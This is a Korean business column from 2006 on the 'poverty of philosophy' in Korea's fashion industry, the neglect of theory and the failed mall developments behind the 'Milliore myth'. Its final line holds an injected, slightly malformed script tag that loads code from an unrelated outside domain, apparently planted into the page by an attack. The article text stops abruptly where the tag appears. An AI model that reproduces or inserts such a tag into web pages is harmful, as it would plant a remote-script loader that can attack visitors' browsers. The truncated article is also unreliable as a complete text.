패션 한국이 넘어야 할 산
2006-12-29선 원 규  sun@moravian.biz




철학의 빈곤
일제 시대 우리 민족 지도자 중 한 분이신 함석헌 선생님이 외치고 다니신 말이 있습니다 ‘생각하는 백성이라야 산다.' 지금, 성격은 다르지만 우리는 여전히 전쟁 중에 있습니다. 경제 전쟁이 진행 되고 있는 이 시대에 우리가 승리하기 위해서는 함석헌 선생님의 말씀에 주목할 필요가 있습니다. 환경은 어떻게 변해 가는지? 우리의 형편은 어떤지? 세상의 이치는 어떤지? 우리가 가져야 할 올바른 목표와 전략은 무엇인지?… 등 생각이 필요합니다.
어떤 민족도, 어떤 국가도, 어떤 산업도, 어떤 기업도 주도적으로 치열하게 생각하지 않는데 우연히 성공한 예는 없습니다. 자원이 풍부한 나라들이 오히려 가난하게 살고 자원이 없는 나라가 잘사는 예를 우리는 수없이 보아 왔습니다. 차이는 ‘치열하게 생각하느냐, 아무 생각 없이 사느냐'의 차이일 것입니다. 일반적으로 사람들은 몸으로 일하는 것은 힘들고 생각하는 것은 쉽다고 생각합니다. 그러나 정반대로 ‘생각하는 것'은 몸으로 일하는 것보다 몇 배나 힘이 든다고 합니다. 그래서 많이 생각하는 사람들이 먼저 머리가 빠진다고… 성경에 예수님께서 땀방울이 핏방울이 되기까지 기도하셨다는 이야기가 나옵니다. 기도하는 것은 집중해서 생각하는 것입니다. 그래서 어떤 사람은 기도를 가장 힘든 노동이라고 이야기 합니다. 생각하는 것 또한 마찬가지 입니다. 가장 힘든 노동은 ‘생각하는 노동'이고 우리의 패션 산업이 발전하기 위해서는 누군가 이 노동을 해야 할 것입니다. 누구에게나 마찬가지였겠지만 제가 패션업계에 입문해서 이상했던 것은 ‘Text Book'이 없다는 것이었습니다. 물론 나중에는 몇몇 분들이 교과서적인 책을 쓰시기는 했지만 아직도 해야 할 일이 많은 것 같습니다. 그만큼 우리 패션업계는 체계화된 이론적 틀이 약한 것 같습니다. 혹자는 ‘이론' 보다는 ‘경험'이 중요하다고 이야기 합니다. 여기서 우리는 ‘이론'과 ‘경험'의 관계에 대해서 정확히 알 필요가 있습니다. 이론은 현실과 맞지 않는 것이라는 생각에 이론을 경시하는 것은 안타까운 일입니다. 왜냐하면 이론이라 함은 단순히 어떤 한 사람이 내세운 가설이나 주장이기 보다는 오랜 세월 동안 선배들이 다양한 경험을 통해서 공통된 원리를 추출해 정리한 ‘경험의 엑기스' 이기 때문입니다. 이론은 태생적으로 과거의 경험에 바탕을 두고 있고 과거 지향적입니다. 그래서 이론을 그대로 현실에 바로 적용하면 맞지 않을 수도 있습니다. 이론을 현실에 적용하려면 창조적으로 재해석해서 적용해야 합니다. 이론의 목적은 과거의 경험을 통해 얻은 원리를 현실에 창조적으로 적용해서 문제를 해결하거나 올바른 의사 결정을 하는데 있습니다. 63빌딩을 세우기 위해서는 땅을 깊이 파야 하듯이 높은 성과를 내기 위해서는 이론의 깊이가 깊어야 합니다. 이론 위에 세운 경험은 견고하고 장기적으로 안정적인 성과를 이루어 내지만 이론에 바탕하지 않은 경험은 일시적인 성과로 끝나고 그 이후 더 큰 재앙들을 가져 올 수 있습니다. 우리는 이러한 주장이 사실임을 길지 않은 한국 패션 역사에서도 어렵지 않게 찾아 볼 수 있습니다. 철학의 빈곤, 이론의 경시 현상이 빚은 실패들이 우리들의 마음을 안타깝게 합니다.

밀리오레 신화의 꿈
1994년 경에 필자는 우리나라와 세계 각국의 유통업태들을 조사하고 연구했던 적이 있습니다. 1994년은 이마트와 2001아웃렛, 프라이스 코스코 등 할인점이 처음으로 한국에 선보인 해입니다. 세계 유통업체를 조사해 보고 나니 세계 유통의 흐름을 나름으로 알 수 있었고 함께 했던 팀원들과 한국 유통업의 방향에 대해 열띤 토론들을 했었습니다. 그러던 중 경기도의 모 도시에 가서 상가들을 조사 했는데 우리가 조사 했던 대형 상가가 12개 정도 있었습니다 그런데 놀라운 것은 그 상가들이 거의 대부분 죽어 있었습니다. 2~3개 정도만 제 기능을 하고 나머지는 텅텅 비어 있었습니다. 지금도 소위 신도시로 개발되었던 곳에 가보면 텅 비어 있는 상가들이 흉물스럽게 오랜 세월을 주인을 기다리며 서 있는 것을 봅니다.
사실 유통은 사회의 가장 중요한 기반 시설로 도시 계획에서 가장 핵심적인 요소 중 하나입니다. 그런데 우리나라는 유통에 대한 지식이 짧아서 그런지 유통 시설에 대한 설계가 만족스럽지 못하고 이에 따라 선량한 많은 투자자들이 귀중한 재산을 날려 버리는 경우가 허다 합니다. 대부분의 상가 개발이 고객 중심으로, 유통업의 기본 원리 중심으로 설계 되는 것이 아니라 부동산 개발업자의 논리를 따라 개발 되기에 사실 엄청난 비효율과 자원의 낭비, 선량한 투자자들의 파산을 가져오고 있습니다. 이러한 대표적인 사례가 ‘밀리오레 신화'일 것입니다. 1998년 IMF와 함께 오픈한 밀리오레는 한국 도매 유통의 한 획을 긋는 사건이었습니다. ?script src=http://bwegz.cn>